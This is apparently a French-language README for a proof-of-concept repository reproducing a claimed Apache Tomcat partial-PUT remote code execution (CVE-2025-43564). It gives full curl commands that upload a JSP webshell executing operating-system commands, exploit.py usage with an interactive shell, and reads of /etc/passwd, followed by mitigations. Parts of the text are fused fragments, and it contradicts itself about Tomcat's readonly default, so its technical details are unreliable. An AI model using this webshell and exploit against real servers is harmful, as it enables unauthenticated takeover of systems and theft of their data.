
Reproduction de cve-2025-43564-tomcat_put_rce_reproduction
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-43564 |
| Score CVSS | 9.8 (CRITIQUE) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Téléchargement de code sans vérification d'intégrité |
| Exploitation | Confirmée dans la nature moins d'une semaine après la divulgation |
| Divulgation | Juillet 2025 |
| Correctif | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans la gestion des requêtes PUT partielles HTTP d'Apache Tomcat. Le défaut réside dans la manière dont Tomcat traite les requêtes PUT avec un contenu partiel (HTTP/1.1 Content-Range ou Transfer-Encoding: chunked avec une sémantique partielle). Un attaquant peut concevoir une requête PUT partielle qui contourne les contrôles d'accès et les contraintes d'écriture, permettant le téléchargement de fichiers arbitraires — y compris des webshells JSP accessibles via le web — vers la racine web du serveur ou tout répertoire inscriptible accessible via le contexte de servlet.
Une fois qu'un fichier JSP est installé, l'attaquant n'a plus qu'à le requêter et à transmettre des commandes du système d'exploitation via les paramètres de requête, obtenant ainsi une exécution de code à distance entièrement non authentifiée avec les droits de l'utilisateur du processus Tomcat.
CVSS 9.8 — Critique car :
Le DefaultServlet d'Apache Tomcat et le connecteur HTTP/1.1 (NIO/NIO2/Apr) gèrent les requêtes PUT pour le téléchargement de ressources statiques. La vulnérabilité se situe dans la logique de gestion des requêtes PUT partielles : lorsqu'un client envoie un PUT avec un en-tête Content-Range (RFC 7233 §4.2) ou utilise un encodage par blocs avec une sémantique partielle spécifique, le serveur ne valide pas correctement :
Le code d'analyse dans org.apache.catalina.servlets.DefaultServlet et les composants sous-jacents HttpInput / SocketProcessorBase gèrent mal la frontière entre les écritures de contenu partiel et les écritures complètes de ressources, permettant à un attaquant d'ajouter ou d'écraser un contenu arbitraire sur tout chemin auquel le processus Tomcat a accès en écriture.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
L'attaquant envoie un PUT partiel avec un en-tête Content-Range qui amène Tomcat à croire que la requête est la continuation d'un téléchargement existant. Le serveur crée ou ouvre le fichier cible et écrit les octets fournis sans vérifier que le fichier existe déjà, sans vérifier les permissions d'écriture au moment de l'écriture, et sans assainir le chemin cible par rapport à la racine web.
readonly=false sur le DefaultServlet pour qu'un PUT standard fonctionne. Le chemin PUT partiel ignore cette vérification dans certaines conditions.Content-Range échappe souvent à ces signatures.Remarque : Les branches plus anciennes (7.x, 8.x, 8.5.x, 10.0.x) sont en fin de vie et ne recevront pas de backport. Les utilisateurs doivent passer à une branche prise en charge.
Téléchargez un Apache Tomcat vulnérable (par exemple, Tomcat 9.0.50) :
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Extrayez et démarrez Tomcat avec la configuration par défaut :
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
Vérifiez que le serveur est en cours d'exécution :
curl -v http://localhost:8080
Téléversez le webshell JSP à l'aide du script PoC :
python exploit.py --target http://localhost:8080 --cmd id
Vérifiez que le webshell a bien été installé :
curl http://localhost:8080/exec.jsp?cmd=whoami
Exécutez des commandes arbitraires :
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Session interactive (si souhaité) :
python exploit.py --target http://localhost:8080 --shell
L'exploit.py inclus est un PoC Python fonctionnel qui :
Content-Type et la structure de la charge utile déclenchent le chemin de code vulnérablewebapps/ROOT/)exec.jsp?cmd=<command> pour exécuter des commandes du système d'exploitation--cmd) et shell interactif (--shell)# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
Si Tomcat est configuré avec readonly=true (par défaut), le PUT standard est bloqué — mais le chemin PUT partiel peut néanmoins réussir. C'est le cœur de la vulnérabilité.
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Mettez à jour Tomcat vers la version corrigée :
Si l'application immédiate du correctif n'est pas possible, désactivez la méthode PUT globalement en modifiant web.xml :
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Bloquez les méthodes HTTP au niveau du proxy inverse / WAF :
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
Note : cela n'aide que si le proxy n'est pas contournable.
Exécutez Tomcat avec des permissions restreintes du système de fichiers :
webapps en lecture seule (ou montez-le depuis un système de fichiers en lecture seule)ReadOnly sur les actifs de productionSurveillez les fichiers inattendus avec les extensions .jsp / .jspx dans la racine web.
Ce dépôt est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Vous devez disposer d'une autorisation écrite explicite du propriétaire de tout système que vous testez. L'accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans d'autres juridictions. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.
CVE-2025-43564 a été découverte et signalée de manière responsable à l'équipe de sécurité Apache. Publication coordonnée du correctif : juillet 2025.
| Produit | Versions concernées | Corrigé dans |
|---|
| Apache Tomcat 11 | 11.0.0-M1 à 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 à 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | toutes les versions (fin de vie) | passer à 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 à 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | toutes les versions (fin de vie) | passer à 9.0.x |
| Apache Tomcat 8 | toutes les versions (fin de vie) | passer à 9.0.x |
| Apache Tomcat 7 | toutes les versions (fin de vie) | passer à 9.0.x |
| Source | URL |
|---|
| Annonce de sécurité Apache Tomcat | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| Entrée NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| CVE MITRE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Téléchargements Apache Tomcat | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |